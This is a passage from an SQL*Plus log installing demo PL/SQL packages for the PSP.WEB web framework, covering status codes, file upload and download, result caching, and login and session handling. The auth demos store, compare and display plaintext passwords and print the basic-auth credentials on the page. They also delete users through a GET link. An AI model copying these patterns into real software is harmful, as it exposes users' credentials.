11 procedure do_204;
12
13 procedure do_205;
14
15 procedure do_412;
16
17 procedure do_303;
18
19 procedure do_303_retry_alfter;
20
21 end test_c;
22 /
Package created.
SQL> @@test_c.bdy
SQL> create or replace package body test_c is
2
3 procedure do is
4 begin
5 -- do db change
6 h.status_line(200);
7 h.content_type;
8 h.header_close;
9
10 pc.h;
11 x.o('<ul>');
12 x.p(' <li>', 'abc');
13 x.p(' <li>', '123');
14 x.c('</ul>');
15 end;
16
17 -- 201 tip for the newly created file's URL
18 procedure do_201 is
19 begin
20 h.status_line(201);
21 h.location('@b.d');
22 h.header_close;
23 end;
24
25 -- 202 accept and processing, but not done completely
26 procedure do_202 is
27 begin
28 h.status_line(202);
29 h.header_close;
30 end;
31
32 -- 203 infomation is not sure or not complete
33 procedure do_203 is
34 begin
35 h.status_line(203);
36 h.header_close;
37 end;
38
39 -- 204 accept, but return null response
40 procedure do_204 is
41 begin
42 h.status_line(204);
43 h.header_close;
44 end;
45
46 -- 205 processed, but UA must
47 procedure do_205 is
48 begin
49 h.status_line(205);
50 h.header_close;
51 end;
52
53 -- 412 Precondition Failed
54 procedure do_412 is
55 begin
56 h.status_line(412);
57 h.header_close;
58 pc.h;
59 x.p('<h2>', 'status 412 Precondition Failed');
60 end;
61
62 procedure do_303 is
63 begin
64 h.status_line(303);
65 h.location('@b.d');
66 h.header_close;
67 end;
68
69 procedure do_303_retry_alfter is
70 begin
71 h.status_line(303);
72 h.location('@b.d');
73 --h.retry_after(10);
74 h.retry_after(sysdate + 10 / 24 / 60 / 60);
75 h.header_close;
76 end;
77
78 end test_c;
79 /
Package body created.
SQL>
SQL> -- download/upload, direct reqeust/response entity body ---
SQL>
SQL> prompt
SQL> prompt Creating package FILE_DL_B
Creating package FILE_DL_B
SQL> prompt ==========================
==========================
SQL> prompt
SQL> @@file_dl_b.spc
SQL> create or replace package file_dl_b is
2
3 procedure d;
4
5 procedure text;
6
7 procedure excel;
8
9 procedure word;
10
11 end file_dl_b;
12 /
Package created.
SQL> @@file_dl_b.bdy
SQL> create or replace package body file_dl_b is
2
3 procedure d is
4 begin
5 pc.h;
6 x.p('<style>', 'a{display:block;line-height:2em;}');
7 src_b.link_pack;
8 x.p('<p>', 'use h.content_disposition_attachment(file.ext) to download a pre-named file');
9 x.a('<a>', 'download text', '@b.text');
10 x.a('<a>', 'download excel', '@b.excel');
11 x.a('<a>', 'download word', '@b.word');
12 end;
13
14 procedure text is
15 begin
16 b.set_line_break(chr(13) || chr(10));
17 h.content_disposition_attachment('test.txt');
18 b.line('some text');
19 b.line('some other text');
20 end;
21
22 procedure excel is
23 cursor c_packages is
24 select * from user_objects a where a.object_type = 'PACKAGE' order by a.object_name asc;
25 begin
26 h.content_disposition_attachment('test.xls');
27 pc.h;
28
29 x.o('<table rules=all,cellspacing=0,cellpadding=5,style=border:1px solid silver;>');
30 x.p('<caption>', 'table example');
31 x.p(' <thead>', x.p('<tr>', m.w('<th>@</th>', 'package name,created')));
32 x.o(' <tbody>');
33 for i in c_packages loop
34 x.p('<tr>', m.w('<td>', st(i.object_name, t.d2s(i.created)), '</td>'));
35 end loop;
36 x.c(' </tbody>');
37 x.c('</table>');
38 end;
39
40 procedure word is
41 begin
42 h.content_disposition_attachment('test.doc');
43 pc.h;
44
45 x.o('<div#text style=border:1px solid silver;width:80%;padding:8px 20px;>');
46 for i in 1 .. 6 loop
47 x.p('<h' || i || '>', 'header ' || i);
48 x.p('<p>', 'a paragraph');
49 end loop;
50 x.c('</div>');
51
52 end;
53
54 end file_dl_b;
55 /
Package body created.
SQL> prompt
SQL> prompt Creating package POST_B
Creating package POST_B
SQL> prompt =======================
=======================
SQL> prompt
SQL> @@post_b.spc
SQL> create or replace package post_b is
2
3 procedure order_form;
4
5 procedure echo_body;
6
7 end post_b;
8 /
Package created.
SQL> @@post_b.bdy
SQL> create or replace package body post_b is
2
3 procedure order_form is
4 begin
5 null;
6 -- this form will borrow book from library
7 -- but some items may be 404 not found
8 -- some books may be unavailable
9 -- some books may not allowed to borrow
10 -- and some book is gone
11 -- if ok, it will use 303 feedback page to show
12 -- if err, it will show error msg directly
13 end;
14
15 procedure echo_body is
16 begin
17 if r.is_lack('clob') then
18 b.download(rb.blob_entity);
19 else
20 k_debug.trace(st('echo body for clob'));
21 r.body2clob;
22 b.download(rb.clob_entity);
23 end if;
24 end;
25
26 end post_b;
27 /
Package body created.
SQL> prompt
SQL> prompt Creating package POST_FILE_B
Creating package POST_FILE_B
SQL> prompt ============================
============================
SQL> prompt
SQL> @@post_file_b.spc
SQL> create or replace package post_file_b is
2
3 procedure upload_form;
4
5 procedure ajax_post;
6
7 procedure ajax_post_json;
8
9 procedure echo_http_body;
10
11 end post_file_b;
12 /
Package created.
SQL> @@post_file_b.bdy
SQL> create or replace package body post_file_b is
2
3 procedure upload_form is
4 begin
5 h.allow('GET,POST');
6 h.status_line(200);
7 h.header_close;
8
9 pc.h;
10 src_b.link_proc;
11 x.p('<p>', 'use form item with name as "_name" to set "name" file upload save dir(relative to upload root)');
12 x.p('<p>', 'file: ' || r.getc('file', 'no upload file for "file"'));
13 begin
14 r.gets('file', tmp.stv);
15 tmp.cnt := r.cnt('file');
16 for i in 1 .. tmp.cnt loop
17 tmp.s := x.a('<a>', tmp.stv(i), '[upload]' || tmp.stv(i));
18 x.p('<p>', 'file[' || i || ']: ' || tmp.s || ', size ' || r.getc('file.size', 0, i));
19 end loop;
20 exception
21 when others then
22 null;
23 end;
24 x.p('<p>', 'file2: ' || r.getc('file2', 'no upload file for "file2"') || ', size ' || r.getc('file2.size', 0));
25 x.p('<p>', 'file3: ' || r.getc('file3', 'no upload file for "file3"') || ', size ' || r.getc('file3.size', 0));
26 x.o('<fieldset>');
27 x.p(' <legend>', 'form example');
28 x.o(' <form name=f,action=post_file_b.upload_form,target=_self,method=post,enctype=multipart/form-data>');
29 x.p(' <label>', 'your name' || x.v('<input type=text,name=name>', r.getc('name')));
30 x.p(' <label>', 'your password' || x.v('<input type=password,name=pass>', r.getc('pass')));
31 x.t(' <br/>');
32 x.s(' <input type=hidden,name=_file,value=test/>');
33 x.t(' <br/>single');
34 x.s(' <input type=file,name=file,size=30,height=5>');
35 x.t(' <br/>multiple');
36 x.s(' <input multiple type=file,name=file,size=30,height=5>');
37 x.t(' <br/>image');
38 x.s(' <input type=hidden,name=_file2,value=test2/specified/>');
39 x.s(' <input capture type=file,accept=image/*,name=file2,size=30,height=5>');
40 x.t(' <br/>video');
41 x.s(' <input type=file,accept=video/*,name=file3,size=30,height=5>');
42 x.t(' <br/>');
43 x.s(' <input type=submit>');
44 x.c('</form>');
45 x.c('</fieldset>');
46 x.p('<canvas>', '');
47 x.j('<script>', '*.js');
48 end;
49
50 procedure ajax_post is
51 begin
52 src_b.header;
53 x.p('<script>',
54 '
55 var xhr = new XMLHttpRequest();
56 xhr.open("POST","post_file_b.echo_http_body");
57 xhr.onreadystatechange = function() {
58 if(xhr.readyState != 4 ) return;
59 if(xhr.status != 200) return;
60 document.getElementById("content").innerHTML = xhr.responseText;
61 }
62 xhr.send("<p>abedefg</p>\n\
63 <p>hijklmn</p>\n\
64 <p>opq rst</p>\n\
65 <p>uvw xyz</p>");
66 ');
67 x.p('<div#content>', '');
68 end;
69
70 procedure ajax_post_json is
71 begin
72 src_b.header;
73 x.j('<script>', '[jquery.js]');
74 x.t('<script>
75 function cb(data){
76 alert("got req_info echo");
77 $("#content").html(data);
78 }
79 $.post("basic_io_b.req_info?topic=param",{name:"noradle",author:"kaven276"},cb,"text");
80 </script>');
81 x.p('<pre#content>', '');
82 end;
83
84 procedure echo_http_body is
85 v_line varchar2(200);
86 v_nline nvarchar2(200);
87 begin
88 h.allow('POST');
89 h.content_type('text/plain');
90 x.p('<h3>', 'ajax request meta info');
91 x.p('<p>', 'r.method: ' || r.method);
92 x.p('<p>', 'content-type: ' || r.header('content-type'));
93 x.p('<p>', 'content-length: ' || r.header('content-length'));
94 x.p('<p>', 'x-requested-with: ' || r.header('x-requested-with'));
95 x.p('<p>', 'origin: ' || r.header('origin'));
96 x.p('<p>', 'is_xhr: ' || t.tf(r.is_xhr, 'true', 'false'));
97 x.p('<p>', 'rb.mime_type: ' || rb.mime_type);
98 x.p('<p>', 'rb.mime_type(major): ' || t.left(rb.mime_type));
99 x.p('<p>', 'rb.mime_type(minor): ' || t.right(rb.mime_type));
100 x.p('<p>', 'rb.charset_http: ' || rb.charset_http);
101 x.p('<p>', 'rb.charset_db: ' || rb.charset_db);
102 x.p('<p>', 'rb.length: ' || rb.length);
103 x.p('<p>', 'length(rb.blob_entity): ' || dbms_lob.getlength(rb.blob_entity));
104 r.body2clob;
105 x.p('<p>', 'length(rb.clob_entity): ' || dbms_lob.getlength(rb.clob_entity));
106 x.t('<hr/>');
107 x.p('<h3>', 'ajax request request entity content');
108 b.write(rb.clob_entity);
109 end;
110
111 end post_file_b;
112 /
Package body created.
SQL> prompt
SQL> prompt Creating package UPLOAD_B
Creating package UPLOAD_B
SQL> prompt =========================
=========================
SQL> prompt
SQL> @@upload_b.spc
SQL> create or replace package upload_b is
2
3 procedure upload_form;
4
5 end upload_b;
6 /
Package created.
SQL> @@upload_b.bdy
SQL> create or replace package body upload_b is
2
3 procedure upload_form is
4 begin
5 h.allow('GET,POST');
6 h.header_close;
7
8 pc.h;
9 x.p('<p>', 'file: ' || r.getc('file', 'no upload file for "file"'));
10 begin
11 r.gets('file', tmp.stv);
12 for i in 1 .. tmp.stv.count loop
13 x.p('<p>', 'file[]: ' || tmp.stv(i));
14 end loop;
15 exception
16 when others then
17 null;
18 end;
19 x.p('<p>', 'file2: ' || r.getc('file2', 'no upload file for "file2"'));
20 x.p('<p>', 'file3: ' || r.getc('file3', 'no upload file for "file3"'));
21 x.o('<fieldset>');
22 x.p(' <legend>', 'form example');
23 x.o(' <form name=f,action=upload_b.upload_form,target=_self,method=post,enctype=multipart/form-data>');
24
25 x.p(' <label>', 'your name' || x.v('<input type=text,name=name>', r.getc('name')));
26 x.p(' <label>', 'your password' || x.v('<input type=password,name=pass>', r.getc('pass')));
27
28 x.t(' <br/>');
29 x.s(' <input type=hidden,name=_file,value=test/>');
30 x.s(' <input type=file,name=file,size=30;height=5;multiple=true>');
31 x.s(' <input type=file,name=file,size=30;height=5;multiple=true>');
32 x.t(' <br/>');
33
34 x.s(' <input type=hidden,name=_file2,value=test2/specified>');
35 x.s(' <input type=file,name=file2,size=30;height=5;multiple=true>');
36 x.t(' <br/>');
37
38 x.s(' <input type=file,name=file3,size=30;height=5;multiple=true>');
39 x.t(' <br/>');
40
41 x.s(' <input type=submit>');
42 x.c(' </form>');
43 x.c('</fieldset>');
44 end;
45
46 end upload_b;
47 /
Package body created.
SQL> prompt
SQL> prompt Creating package MEDIA_B
Creating package MEDIA_B
SQL> prompt =========================
=========================
SQL> prompt
SQL> @@media_b.spc
SQL> create or replace package media_b is
2
3 procedure file_image;
4
5 end media_b;
6 /
Package created.
SQL> @@media_b.bdy
SQL> create or replace package body media_b is
2
3 procedure file_image is
4 begin
5 x.t('<doctype html>');
6 x.o('<html>');
7 x.o('<body>');
8 x.s('<input type=file,accept=:1>', st('image/*;capture=camera'));
9 end;
10
11 end media_b;
12 /
Package body created.
SQL>
SQL> --------------------------------------
SQL>
SQL> prompt
SQL> prompt Creating package RCPV
Creating package RCPV
SQL> prompt =====================
=====================
SQL> prompt
SQL> @@rcpv.spc
SQL> create or replace package rcpv is
2
3 user_row user_t%rowtype;
4 user_ver varchar2(30);
5 user_hit boolean;
6
7 msid varchar2(30);
8
9 term_row term_t%rowtype;
10 term_ver varchar2(30);
11 term_hit boolean;
12
13 end rcpv;
14 /
Package created.
SQL> prompt
SQL> prompt Creating package RC
Creating package RC
SQL> prompt ===================
===================
SQL> prompt
SQL> @@rc.spc
SQL> create or replace package rc is
2
3 procedure set_user_info(p_username varchar2);
4
5 procedure set_term_info(p_msid varchar2);
6
7 end rc;
8 /
Package created.
SQL> @@rc.bdy
SQL> create or replace package body rc is
2
3 not_match exception;
4
5 procedure set_user_info(p_username varchar2) is
6 v_time date;
7 function rc2row
8 (
9 key varchar2,
10 ver date
11 ) return user_t%rowtype result_cache is
12 begin
13 if rcpv.user_hit then
14 raise not_match;
15 else
16 return rcpv.user_row;
17 end if;
18 end;
19 begin
20 v_time := r.getd('s$user_rctime');
21 if v_time is null or (sysdate - v_time) * 24 * 60 > 3 then
22 -- if more than n minutes, use new version result cache
23 v_time := sysdate;
24 end if;
25 rcpv.user_hit := true;
26 rcpv.user_row := rc2row(p_username, v_time);
27 exception
28 when not_match then
29 rcpv.user_hit := false;
30 select a.* into rcpv.user_row from user_t a where a.name = p_username;
31 rcpv.user_row := rc2row(p_username, v_time);
32 r.setd('s$user_rctime', v_time);
33 end;
34
35 procedure set_term_info(p_msid varchar2) is
36 function rc2row
37 (
38 key varchar2,
39 ver varchar2
40 ) return term_t%rowtype result_cache is
41 begin
42 if rcpv.term_hit then
43 raise not_match;
44 else
45 return rcpv.term_row;
46 end if;
47 end;
48 begin
49 rcpv.term_hit := true;
50 rcpv.term_ver := r.getc('s$term_ver');
51 k_debug.trace(st(p_msid, rcpv.term_ver));
52 rcpv.term_row := rc2row(p_msid, rcpv.term_ver);
53 exception
54 when not_match then
55 rcpv.term_hit := false;
56 select ora_rowscn into rcpv.term_ver from term_t a where a.msid = p_msid;
57 select a.* into rcpv.term_row from term_t a where a.msid = p_msid;
58 r.setc('s$term_ver', rcpv.term_ver);
59 rcpv.term_row := rc2row(p_msid, rcpv.term_ver);
60 end;
61
62 end rc;
63 /
Package body created.
SQL>
SQL> prompt
SQL> prompt Creating package TERM_B
Creating package TERM_B
SQL> prompt =======================
=======================
SQL> prompt
SQL> @@term_b.spc
SQL> create or replace package term_b is
2
3 procedure setting_form;
4
5 procedure setting_save;
6
7 end term_b;
8 /
Package created.
SQL> @@term_b.bdy
SQL> create or replace package body term_b is
2
3 procedure setting_form is
4 begin
5 begin
6 rc.set_term_info(r.msid);
7 exception
8 when no_data_found then
9 null;
10 end;
11 pc.h;
12 src_b.link_proc;
13 src_b.link_proc('term_b.setting_save');
14 src_b.link_proc('rc.set_term_info');
15 x.t('<br/>');
16 x.p('<p>', 'please login first to get a session');
17 x.p('<p>', 'result cache ' || t.tf(rcpv.term_hit, 'hit', 'miss'));
18 x.p('<p>', 'rcpv.term_row.msid=' || rcpv.term_row.msid);
19 x.p('<p>', 'rcpv.term_row.ora_rowscn=' || rcpv.term_ver);
20 x.p('<p>', 'r.getc(''s$term_ver'')=' || r.getc('s$term_ver'));
21 x.p('<p>', 'rcpv.term_row.bgcolor=' || rcpv.term_row.bgcolor);
22 x.p('<p>', 'rcpv.term_row.fgcolor=' || rcpv.term_row.fgcolor);
23 x.a('<a>', 'refresh', '@b.setting_form');
24 if rcpv.term_row.bgcolor is not null then
25 x.o('<style>');
26 b.line('body{background-color:' || rcpv.term_row.bgcolor || '}');
27 b.line('body{color:' || rcpv.term_row.fgcolor || '}');
28 x.c('</style>');
29 end if;
30 x.p('<p>', 'The pattern in package RC will use result cache function to get versioned rowtype data,');
31 x.p('<p>', ' and set them in package variable and avoid requent reads on table.');
32 x.p('<p>',
33 'This method will run well on both oracle 11.1 and 11.2, through they do differently for result cache dependency');
34 x.f('<form name=f,method=post>', '@b.setting_save');
35 t.split(tmp.stv, 'red,blue,green,silver,gray', ',');
36 x.p('<label>', 'background-color');
37 x.o('<select name=bgcolor>');
38 m.nv('<option ?selected value="@">@</options>', tmp.stv, tmp.stv, rcpv.term_row.bgcolor);
39 x.c('</select>');
40 x.t('<br/>');
41 x.p('<label>', 'foreground-color');
42 x.o('<select name=fgcolor>');
43 m.nv('<option ?selected value="@">@</options>', tmp.stv, tmp.stv, rcpv.term_row.fgcolor);
44 x.c('</select>');
45 x.t('<br/>');
46 x.s(' <input type=submit>');
47 x.c('</form>');
48 end;
49
50 procedure setting_save is
51 v term_t%rowtype;
52 begin
53 h.allow_post;
54 v.msid := r.msid;
55 v.bgcolor := r.getc('bgcolor');
56 v.fgcolor := r.getc('fgcolor');
57 update term_t a set row = v where a.msid = v.msid;
58 if sql%rowcount = 0 then
59 insert into term_t values v;
60 end if;
61 -- the commit is fatal required, so ora_rowscn can refrect new version value
62 commit;
63 select ora_rowscn into rcpv.term_ver from term_t a where a.msid = v.msid;
64 r.setc('s$term_ver', rcpv.term_ver);
65 h.go('@b.setting_form');
66 end;
67
68 end term_b;
69 /
Package body created.
SQL>
SQL> --------- user auth & session ------
SQL>
SQL> @@t_user.trg
SQL> create or replace trigger t_user
2 after update on user_t
3 for each row
4 begin
5 r.del('s$user_rctime');
6 insert into passwd_his_t values (:old.name, :old.pass, sysdate);
7 k_debug.trace('user change ' || :old.name);
8 end t_user;
9 /
Trigger created.
SQL>
SQL> @@user_b.spc
SQL> create or replace package user_b is
2
3 procedure register;
4
5 procedure data_src;
6
7 end user_b;
8 /
Package created.
SQL> @@user_c.spc
SQL> create or replace package user_c is
2
3 procedure register;
4
5 procedure remove;
6
7 end user_c;
8 /
Package created.
SQL> @@auth_s.spc
SQL> create or replace package auth_s is
2
3 procedure login_simple(p_name varchar2);
4 procedure login_complex(p_name varchar2);
5 procedure logout;
6 function user_name return varchar2;
7 function login_time return date;
8
9 end auth_s;
10 /
Package created.
SQL> @@profile_s.spc
SQL> create or replace package profile_s is
2
3 procedure set_scheme(name varchar2);
4
5 function get_scheme return varchar2;
6
7 procedure set_rows_per_page(rows number);
8
9 function get_rows_per_page return number;
10
11 end profile_s;
12 /
Package created.
SQL> @@auth_b.spc
SQL> create or replace package auth_b is
2
3 procedure basic;
4
5 procedure digest;
6
7 procedure cookie_gac;
8
9 procedure login;
10
11 procedure logout;
12
13 procedure protected_page;
14
15 procedure basic_and_cookie;
16
17 procedure logout_basic;
18
19 procedure check_update;
20
21 end auth_b;
22 /
Package created.
SQL> @@session_b.spc
SQL> create or replace package session_b is
2
3 procedure login_form;
4
5 procedure login_check;
6
7 procedure logout_info;
8
9 procedure user_page;
10
11 procedure logout;
12
13 end session_b;
14 /
Package created.
SQL>
SQL> @@user_b.bdy
SQL> create or replace package body user_b is
2
3 procedure register is
4 begin
5 h.expires_now;
6 pc.h;
7 src_b.link_proc;
8 x.t('<br/>');
9 src_b.link_pack(l('@c'));
10 src_b.link_proc(l('@c.register'));
11 x.t('<br/>');
12 x.p('<h3>', 'There is the existing user list.');
13 x.o('<table rules=all,cellpadding=4>');
14 x.p(' <thead>', x.p('<tr>', m.w('<th>@</th>', 'USERNAME,PASSWORD,CREATE TIME,OPERATION')));
15 x.o(' <tbody>');
16 for i in (select * from user_t a order by a.ctime asc) loop
17 tmp.stv := st(i.name, i.pass, t.dt2s(i.ctime), x.a('<a>', 'remove', '@c.remove?name=' || i.name));
18 x.p('<tr>', m.w('<td>', tmp.stv, '</td>'));
19 end loop;
20 x.c(' </tbody>');
21 x.c('</table>');
22 x.t('<br/>');
23
24 x.f('<form name=f,method=post>', '@c.register');
25 -- x.f('<form name=f,method=post>', './basic_io_b.req_info');
26
27 x.p(' <label>', 'username: ');
28 x.s(' <input type=text,name=name>');
29 x.t(' <br/>');
30
31 x.p(' <label>', 'password: ');
32 x.s(' <input type=text,name=pass>');
33 x.t(' <br/>');
34
35 tmp.stv := st('Y', 'N');
36 x.p(' <label>', 'need feedback: ');
37 m.nv('<input type="radio" name="fb" ?checked value="@"/><label>@</label>', tmp.stv, tmp.stv, 'Y');
38 x.t(' <br/>');
39
40 x.s(' <input type=reset,value=reset form>');
41 x.s(' <input type=submit,value=create new user>');
42
43 x.c('</form>');
44
45 x.p('<p>',
46 'When post form info, _c will check error and report 403 error message page directly, ' ||
47 'If all is ok, _c can call h.go to redirect to a page such as go back, ' ||
48 'If nothing is output and status=200(default) PSP.WEB will automatically redirect back, ' ||
49 'If _c show some feedback info itself, PSP.WEB will redirect to the feedback url to prevent repeating valid post.');
50 end;
51
52 procedure data_src is
53 cur sys_refcursor;
54 begin
55 h.content_type('text/resultsets');
56 open cur for
57 select * from user_t where rownum <= 3;
58 rs.print('users', cur);
59 end;
60
61 end user_b;
62 /
Package body created.
SQL> @@user_c.bdy
SQL> create or replace package body user_c is
2
3 procedure register is
4 v user_t%rowtype;
5 begin
6 v.name := r.getc('name');
7 v.pass := r.getc('pass');
8 v.ctime := sysdate;
9
10 e.report(v.name is null, 'User''s name is empty!');
11 e.report(v.pass is null, 'User''s password is empty!');
12 select count(*) into tmp.cnt from user_t a where a.name = v.name;
13 e.report(tmp.cnt = 1, 'Username ' || v.name || ' is existed already.');
14 e.report(not regexp_like(v.name, '^[A-Za-z ]*$'), 'Username must composed of characters and space only.');
15
16 insert into user_t a values v;
17
18 case r.getc('fb')
19 when 'N' then
20 return;
21 h.go('@b.register');
22 when 'Y' then
23 pc.h;
24 src_b.link_proc;
25 x.p('<p>', t.ps('User ":1" is created with password set to ":2".', st(v.name, v.pass)));
26 x.p('<p>', 'Click ' || x.a('<a>', 'here', 'javascript:history.back();') || ' to go back');
27 else
28 null; -- PSP.WEB will automatically redirect back if nothing is output and status=200
29 end case;
30 end;
31
32 procedure remove is
33 begin
34 h.allow_get;
35 delete from user_t a where a.name = r.getc('name');
36 --h.redirect(r.referer);
37 --g.alert_back('use deleted successfully');
38 --g.alert_go('use deleted successfully', 'ora_good_b.entry');
39 end;
40
41 end user_c;
42 /
Package body created.
SQL> @@auth_s.bdy
SQL> create or replace package body auth_s is
2
3 procedure login_simple(p_name varchar2) is
4 begin
5 r.setc('s$username', p_name);
6 r.setc('s$uid', p_name);
7 end;
8
9 procedure login_complex(p_name varchar2) is
10 begin
11 r.setc('s$company', r.getc('company'));
12 r.setc('s$username', p_name);
13 r.setc('s$method', 'password');
14 r.setd('s$ltime', sysdate);
15 r.setn('s$maxidle', r.getn('maxidle'));
16 r.setn('s$maxlive', r.getn('maxlive'));
17 r.setc('s$attr1', r.getc('attr1'));
18 r.setc('s$attr2', r.getc('attr2'));
19 r.setc('s$gid', r.getc('company'));
20 r.setc('s$uid', p_name);
21 end;
22
23 function user_name return varchar2 is
24 begin
25 return r.getc('s$username');
26 end;
27
28 function login_time return date is
29 begin
30 return r.getd('s$ltime');
31 end;
32
33 procedure logout is
34 begin
35 if not r.is_null('s$IDLE') then
36 r.setc('s$BSID', '');
37 end if;
38 end;
39
40 end auth_s;
41 /
Package body created.
SQL> @@profile_s.bdy
SQL> create or replace package body profile_s is
2
3 procedure set_scheme(name varchar2) is
4 begin
5 r.setc('s$pf.scheme', name);
6 end;
7
8 function get_scheme return varchar2 is
9 begin
10 return r.getc('s$pf.scheme');
11 end;
12
13 procedure set_rows_per_page(rows number) is
14 begin
15 r.setn('s$pf.rows', rows);
16 end;
17
18 function get_rows_per_page return number is
19 begin
20 return r.getn('s$pf.rows');
21 end;
22
23 end profile_s;
24 /
Package body created.
SQL> @@auth_b.bdy
SQL> create or replace package body auth_b is
2
3 procedure basic is
4 v_user varchar2(30) := 'psp.web';
5 v_pass varchar2(30) := 'best';
6 begin
7 if (r.user is null or r.user != v_user) and (r.pass is null or r.pass != v_pass) then
8 h.www_authenticate_basic('test');
9 pc.h;
10 x.p('<p>', 'Username should be ' || v_user || ' to pass');
11 x.p('<p>', 'Password should be ' || v_pass || ' to pass');
12 return;
13 end if;
14 pc.h;
15 src_b.link_proc;
16 x.p('<p>', 'Hello ' || r.user || ', Welcome to access this page.');
17 x.p('<p>', 'You have passed the http basic authentication.');
18 end;
19
20 procedure digest is
21 begin
22 h.sts_501_not_implemented;
23 pc.h;
24 src_b.link_proc;
25 x.p('<p>', 'PSP.WEB have not implemented http digest authentication by now.');
26 end;
27
28 procedure cookie_gac is
29 v_sid varchar2(100);
30 begin
31 if r.is_null('s$IDLE') then
32 if r.bsid is null then
33 v_sid := t.gen_token;
34 h.set_cookie('PHPSESSID', v_sid, path => r.dir);
35 else
36 v_sid := r.bsid;
37 end if;
38 r.setc('s$BSID', v_sid);
39 end if;
40
41 pc.h;
42 src_b.link_proc;
43 x.t('<br/>');
44
45 if auth_s.user_name is not null then
46 x.p('<p>',
47 t.ps('You are :1, You have already logged ( at :2 ) in.', st(auth_s.user_name, t.dt2s(auth_s.login_time))));
48 x.a('<a>', 'Logout', '@b.logout');
49 else
50 x.p('<p>', 'You are anonymous.');
51 end if;
52
53 x.p('<p>', 'Please fill your name and password to log in.');
54 x.f('<form method=post>', '@b.login');
55
56 x.p(' <label>', 'campany:');
57 x.s(' <input type=text,name=company>');
58 x.t(' <br/>');
59
60 x.p(' <label>', 'username:');
61 x.s(' <input type=text,name=name>');
62 x.t(' <br/>');
63
64 x.p(' <label>', 'password:');
65 x.s(' <input type=text,name=pass>');
66 x.t(' <br/>');
67
68 x.p(' <label>', 'max idle(s): ');
69 x.s(' <input type=text,name=maxidle>');
70 x.t(' <br/>');
71
72 x.p(' <label>', 'max live(s): ');
73 x.s(' <input type=text,name=maxlive>');
74 x.t(' <br/>');
75
76 x.p(' <label>', 'attr1:');
77 x.s(' <input type=text,name=attr1,value=value1>');
78 x.t(' <br/>');
79
80 x.p(' <label>', 'attr2:');
81 x.s(' <input type=text,name=attr2,value=value2>');
82 x.t(' <br/>');
83
84 x.p(' <label>', 'scheme:');
85 x.s(' <input type=text,name=scheme,value=NORMAL>');
86 x.t(' <br/>');
87
88 x.p(' <label>', 'rows per page: ');
89 x.s(' <input type=text,name=rows_per_page,value=10>');
90 x.t(' <br/>');
91
92 x.s(' <input type=reset,value=reset>');
93 x.s(' <input type=submit,value=login>');
94 x.c('</form>');
95 end;
96
97 procedure login is
98 v user_t%rowtype;
99 begin
100 h.allow('POST');
101 v.name := r.getc('name');
102 v.pass := r.getc('pass');
103 select count(*)
104 into tmp.cnt
105 from user_t a
106 where a.name = v.name
107 and a.pass = v.pass;
108 e.report(tmp.cnt = 0, 'User name or password is wrong.');
109
110 -- record login status in session
111 auth_s.login_complex(v.name);
112 profile_s.set_scheme(r.getc('scheme'));
113 profile_s.set_rows_per_page(r.getn('rows_per_page'));
114
115 pc.h;
116 src_b.link_proc;
117 x.p('<p>', 'Welcome ' || auth_s.user_name || ', you have logged in successfully.');
118 x.a('<a>', 'relogin', '@b.cookie_gac');
119 end;
120
121 procedure logout is
122 begin
123 auth_s.logout;
124 h.go('@b.cookie_gac');
125 end;
126
127 procedure check_maxidle is
128 begin
129 if r.getn('s$IDLE') > r.getn('s$maxidle') * 1000 then
130 pc.h;
131 x.p('<p>',
132 'You logged in session is timeout for idle more than ' || r.getn('s$maxidle') || 's, session is removed.');
133 x.p('<p>', 'last access time : ' || to_char(r.lat, 'hh24:mi:ss'));
134 x.p('<p>', 'last access time : ' || to_char(sysdate - r.getn('s$IDLE') / 1000 / 24 / 60 / 60, 'hh24:mi:ss'));
135 x.p('<p>', 'current time : ' || to_char(sysdate, 'hh24:mi:ss'));
136 x.p('<p>', 'idle time : ' || to_char(r.getn('s$IDLE')));
137 x.p('<p>', 'idle time : ' || (sysdate - r.lat) * 24 * 60 * 60 * 1000);
138 x.p('<p>', 'max idle threshold : ' || r.getn('s$maxidle') || ' seconds');
139 auth_s.logout;
140 g.cancel;
141 end if;
142 end;
143
144 procedure check_maxlive is
145 begin
146 if auth_s.login_time + r.getn('s$maxlive') / 24 / 60 / 60 < sysdate then
147 pc.h;
148 x.p('<p>', 'You logged in session lived for too long, that is more than 1 minute, session is removed.');
149 x.p('<p>', 'login time : ' || to_char(auth_s.login_time, 'hh24:mi:ss'));
150 x.p('<p>', 'current time : ' || to_char(sysdate, 'hh24:mi:ss'));
151 x.p('<p>', 'max live threshold : ' || r.getn('s$maxlive') || ' seconds');
152 auth_s.logout;
153 g.cancel;
154 end if;
155 end;
156
157 procedure check_update is
158 begin
159 check_maxidle;
160 check_maxlive;
161 end;
162
163 procedure protected_page is
164 begin
165 pc.h;
166 if auth_s.user_name is null then
167 h.sts_403_forbidden;
168 x.p('<p>', 'You have not logged in.');
169 x.a('<a>', 'login now', '@b.cookie_gac');
170 return;
171 end if;
172
173 src_b.link_proc;
174 x.t('<br/>');
175 x.p('<p>', 'This page show how to deal with login/logout fair, instead of using k_filter.before.');
176 x.p('<p>',
177 t.ps('You are :1 at :2, You have are logged in at :4 with method(:3).',
178 st(auth_s.user_name, r.getc('s$company'), r.getc('s$method'), t.dt2s(auth_s.login_time))));
179 x.p('<p>', 'login time : ' || t.dt2s(auth_s.login_time));
180 x.p('<p>', 'login time : ' || r.getc('s$ltime'));
181 x.p('<p>', 'some example session attribute include');
182 x.p('<p>', 'attr1 = ' || r.getc('s$attr1'));
183 x.p('<p>', 'attr2 = ' || r.getc('s$attr2'));
184 x.p('<p>', 'scheme = ' || profile_s.get_scheme);
185 x.p('<p>', 'rows per page = ' || profile_s.get_rows_per_page);
186 x.a('<a>', 'relogin', '@b.cookie_gac');
187
188 x.t('<br/><br/><br/><br/>');
189 src_b.link_proc('rc.set_user_info');
190 rc.set_user_info(auth_s.user_name);
191 x.p('<p>', 'using result cache for user_t, we got the rowtype info');
192 x.p('<p>', 'result cache ' || t.tf(rcpv.user_hit, 'hit', 'miss'));
193 x.p('<p>', 'username=' || rcpv.user_row.name);
194 x.p('<p>', 'password=' || rcpv.user_row.pass);
195 x.p('<p>', 'crt_time=' || t.dt2s(rcpv.user_row.ctime));
196 exception
197 when no_data_found /*s.over_max_idle*/
198 then
199 h.sts_403_forbidden;
200 x.p('<p>', t.ps('You are :1, You last access time is ( at :2 ) in.', st(auth_s.user_name, t.dt2s(r.lat))));
201 x.p('<p>', 'But this system allow only 60 seconds of idle time, then it will timeout the session.');
202 x.a('<a>', 'relogin now', '@b.cookie_gac');
203 when others /*s.over_max_keep*/
204 then
205 h.sts_403_forbidden;
206 x.p('<p>',
